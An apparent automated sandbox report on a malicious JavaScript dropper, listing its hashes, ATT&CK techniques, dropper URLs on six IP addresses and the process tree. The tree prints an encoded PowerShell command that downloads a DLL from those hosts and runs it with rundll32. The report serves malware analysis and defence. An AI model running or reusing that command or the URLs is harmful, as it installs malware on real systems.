cdf04ce70a7d1303b77cfa25eae0d0e9b114bdec69c15774bfb6745319dfda6d

Analysis

max time kernel
144s
max time network
129s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
22/03/2023, 17:31

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General

Target

Nt_fa24628e-573c-423d-8c6a-8b2fb5f5c75b-ysA.js
Size

49KB
MD5

30fc96e1b14e130e2413f6032960968d
SHA1

576f50fc1f64a07f8cd2abd197fe009c484d7ef0
SHA256

cdf04ce70a7d1303b77cfa25eae0d0e9b114bdec69c15774bfb6745319dfda6d
SHA512

0aec7df88677b9f8828c2cd7e842eeeac9b2b8bcd62f56c47fe0f5373e4b16a6c80fade178883861de9d189e7733ed968a14e9cfb0fdbbafd7b332b689b8e39f
SSDEEP

768:4tblGvwyCadXP1Q9q1uvvIAY7qyXRgHS7VInm45UHDuiOa7S6sX5WCYH:4tbovw1adfNQv2KcVDuilcPYH

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://203.96.177.121/FIvB5lhB.dathttp://195.20.17.142/FIvB5lhB.dathttp://185.231.204.114/FIvB5lhB.dathttp://87.236.146.162/FIvB5lhB.dathttp://151.80.5.50/FIvB5lhB.dathttp://139.180.209.206/FIvB5lhB.dat

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
24	3312	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3312	powershell.exe
3312	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3312	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1268 wrote to memory of 3312	1268	wscript.exe	87
PID 1268 wrote to memory of 3312	1268	wscript.exe	87

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Nt_fa24628e-573c-423d-8c6a-8b2fb5f5c75b-ysA.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1268
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANAA7ACQAZQBuAGQAZQBhAHYAbwB1AHIAZQByAFQAaABpAG8AYQBuAHQAaQBtAG8AbgBpAGEAdABlACAAPQAgACgAIgBoAHQAdABwADoALwAvADIAMAAzAC4AOQA2AC4AMQA3ADcALgAxADIAMQAvAEYASQB2AEIANQBsAGgAQgAuAGQAYQB0AGgAdAB0AHAAOgAvAC8AMQA5ADUALgAyADAALgAxADcALgAxADQAMgAvAEYASQB2AEIANQBsAGgAQgAuAGQAYQB0AGgAdAB0AHAAOgAvAC8AMQA4ADUALgAyADMAMQAuADIAMAA0AC4AMQAxADQALwBGAEkAdgBCADUAbABoAEIALgBkAGEAdABoAHQAdABwADoALwAvADgANwAuADIAMwA2AC4AMQA0ADYALgAxADYAMgAvAEYASQB2AEIANQBsAGgAQgAuAGQAYQB0AGgAdAB0AHAAOgAvAC8AMQA1ADEALgA4ADAALgA1AC4ANQAwAC8ARgBJAHYAQgA1AGwAaABCAC4AZABhAHQAaAB0AHQAcAA6AC8ALwAxADMAOQAuADEAOAAwAC4AMgAwADkALgAyADAANgAvAEYASQB2AEIANQBsAGgAQgAuAGQAYQB0ACIAKQAuAHMAcABsAGkAdAAoACIALAAiACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEkAbQBwAHUAdAByAGUAcwBjAGkAYgBsAGUAIABpAG4AIAAkAGUAbgBkAGUAYQB2AG8AdQByAGUAcgBUAGgAaQBvAGEAbgB0AGkAbQBvAG4AaQBhAHQAZQApACAAewB0AHIAeQAgAHsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAJABJAG0AcAB1AHQAcgBlAHMAYwBpAGIAbABlACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMgAwACAALQBPACAAJABlAG4AdgA6AFQARQBNAFAAXABtAGEAZwBpAGEAbgBpAHMAbQBGAHIAbwBuAGQAbwBzAGUALgBkAGwAbAA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAG0AYQBnAGkAYQBuAGkAcwBtAEYAcgBvAG4AZABvAHMAZQAuAGQAbABsACkALgBsAGUAbgBnAHQAaAAgAC0AZwBlACAAMQAwADAAMAAwADAAKQAgAHsAcwB0AGEAcgB0ACAAcgB1AG4AZABsAGwAMwAyACAAJABlAG4AdgA6AFQARQBNAFAAXABcAG0AYQBnAGkAYQBuAGkAcwBtAEYAcgBvAG4AZABvAHMAZQAuAGQAbABsACwARwBMADcAMAA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAIAB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADQAOwB9AH0A"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3312

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o02cg2mx.oht.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3312-133-0x0000017972680000-0x00000179726A2000-memory.dmp

Filesize
136KB

Download
memory/3312-143-0x0000017973EA0000-0x0000017973EB0000-memory.dmp

Filesize
64KB

Download
memory/3312-144-0x0000017973EA0000-0x0000017973EB0000-memory.dmp

Filesize
64KB

Download
memory/3312-145-0x0000017973EA0000-0x0000017973EB0000-memory.dmp

Filesize
64KB

Download
memory/3312-146-0x0000017974D40000-0x00000179754E6000-memory.dmp

Filesize
7.6MB

Download
memory/3312-148-0x0000017973EB0000-0x00000179740CC000-memory.dmp

Filesize
2.1MB

Download
memory/3312-149-0x0000017973EA0000-0x0000017973EB0000-memory.dmp

Filesize
64KB

Download
memory/3312-150-0x0000017973EA0000-0x0000017973EB0000-memory.dmp

Filesize
64KB

Download
memory/3312-151-0x0000017973EA0000-0x0000017973EB0000-memory.dmp

Filesize
64KB

Download
memory/3312-154-0x0000017973EB0000-0x00000179740CC000-memory.dmp

Filesize
2.1MB

Download